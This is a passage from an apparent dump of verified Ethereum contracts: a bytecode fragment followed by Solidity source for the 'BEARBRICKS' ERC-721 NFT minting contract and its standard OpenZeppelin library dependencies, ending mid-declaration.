8060408385031215611cc257600080fd5b611ccb83611c68565b9150611cd960208401611c68565b90509250929050565b600080600060608486031215611cf757600080fd5b611d0084611c68565b9250611d0e60208501611c68565b9150604084013590509250925092565b60008060008060808587031215611d3457600080fd5b611d3d85611c68565b9350611d4b60208601611c68565b925060408501359150606085013567ffffffffffffffff811115611d6e57600080fd5b8501601f81018713611d7f57600080fd5b611d8e87823560208401611bf2565b91505092959194509250565b60008060408385031215611dad57600080fd5b611db683611c68565b9150611cd960208401611c84565b60008060408385031215611dd757600080fd5b611de083611c68565b946020939093013593505050565b600060208284031215611e0057600080fd5b61115582611c84565b600060208284031215611e1b57600080fd5b813561115581612274565b600060208284031215611e3857600080fd5b815161115581612274565b600060208284031215611e5557600080fd5b813567ffffffffffffffff811115611e6c57600080fd5b8201601f81018413611e7d57600080fd5b61147b84823560208401611bf2565b600060208284031215611e9e57600080fd5b5035919050565b60008060408385031215611eb857600080fd5b82359150611cd960208401611c68565b60008151808452611ee0816020860160208601612186565b601f01601f19169290920160200192915050565b600084516020611f078285838a01612186565b855191840191611f1a8184848a01612186565b8554920191600090600181811c9080831680611f3757607f831692505b858310811415611f5557634e487b7160e01b85526022600452602485fd5b808015611f695760018114611f7a57611fa7565b60ff19851688528388019550611fa7565b60008b81526020902060005b85811015611f9f5781548a820152908401908801611f86565b505083880195505b50939b9a5050505050505050505050565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090611feb90830184611ec8565b9695505050505050565b6020808252825182820181905260009190848201906040850190845b8181101561202d57835183529284019291840191600101612011565b50909695505050505050565b6020815260006111556020830184611ec8565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b600082198211156121375761213761221c565b500190565b60008261214b5761214b612232565b500490565b600081600019048311821515161561216a5761216a61221c565b500290565b6000828210156121815761218161221c565b500390565b60005b838110156121a1578181015183820152602001612189565b83811115610fd75750506000910152565b600181811c908216806121c657607f821691505b602082108114156121e757634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156122015761220161221c565b5060010190565b60008261221757612217612232565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b031981168114610a7657600080fdfea2646970667358221220f52a7fb6dd65780080e2a9ba58d25a84508a3715d42e1c88e2813d99856a4f9f64736f6c63430008070033
[ 5 ]
0xf1CbAf3e03B3aBFE040abb9b97c9FB7cFf177C50
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/interfaces/IERC2981.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/utils/Address.sol"; contract BEARBRICKS is ERC721, IERC2981, ReentrancyGuard, Ownable { using Counters for Counters.Counter; constructor(string memory customBaseURI_) ERC721("BEARBRICKS", "BBK") { customBaseURI = customBaseURI_; } /** MINTING **/ uint256 public constant MAX_SUPPLY = 20000; uint256 public constant MAX_MULTIMINT = 100; uint256 public constant PRICE = 100000000000000000; Counters.Counter private supplyCounter; function mint(uint256 count) public payable nonReentrant { require(saleIsActive, "Sale not active"); require(totalSupply() + count - 1 < MAX_SUPPLY, "Exceeds max supply"); require(count <= MAX_MULTIMINT, "Mint at most 100 at a time"); require( msg.value >= PRICE * count, "Insufficient payment, 0.1 ETH per item" ); for (uint256 i = 0; i < count; i++) { _mint(msg.sender, totalSupply()); supplyCounter.increment(); } } function totalSupply() public view returns (uint256) { return supplyCounter.current(); } /** ACTIVATION **/ bool public saleIsActive = true; function setSaleIsActive(bool saleIsActive_) external onlyOwner { saleIsActive = saleIsActive_; } /** URI HANDLING **/ string private customBaseURI; function setBaseURI(string memory customBaseURI_) external onlyOwner { customBaseURI = customBaseURI_; } function _baseURI() internal view virtual override returns (string memory) { return customBaseURI; } function tokenURI(uint256) public view override returns (string memory) { return _baseURI(); } /** PAYOUT **/ function withdraw() public nonReentrant { uint256 balance = address(this).balance; Address.sendValue(payable(owner()), balance); } /** ROYALTIES **/ function royaltyInfo(uint256, uint256 salePrice) external view override returns (address receiver, uint256 royaltyAmount) { return (address(this), (salePrice * 500) / 10000); } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, IERC165) returns (bool) { return ( interfaceId == type(IERC2981).interfaceId || super.supportsInterface(interfaceId) ); } } // Contract created with Studio 721 v1.5.0 // https://721.so // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Interface for the NFT Royalty Standard */ interface IERC2981 is IERC165 { /** * @dev Called with the sale price to determine how much royalty is owed and to whom. * @param tokenId - the NFT asset queried for royalty information * @param salePrice - the sale price of the NFT asset specified by `tokenId` * @return receiver - address of who should be sent the royalty payment * @return royaltyAmount - the royalty payment amount for `salePrice` */ function royaltyInfo(uint256 tokenId, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/introspection/IERC165.sol"; // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external 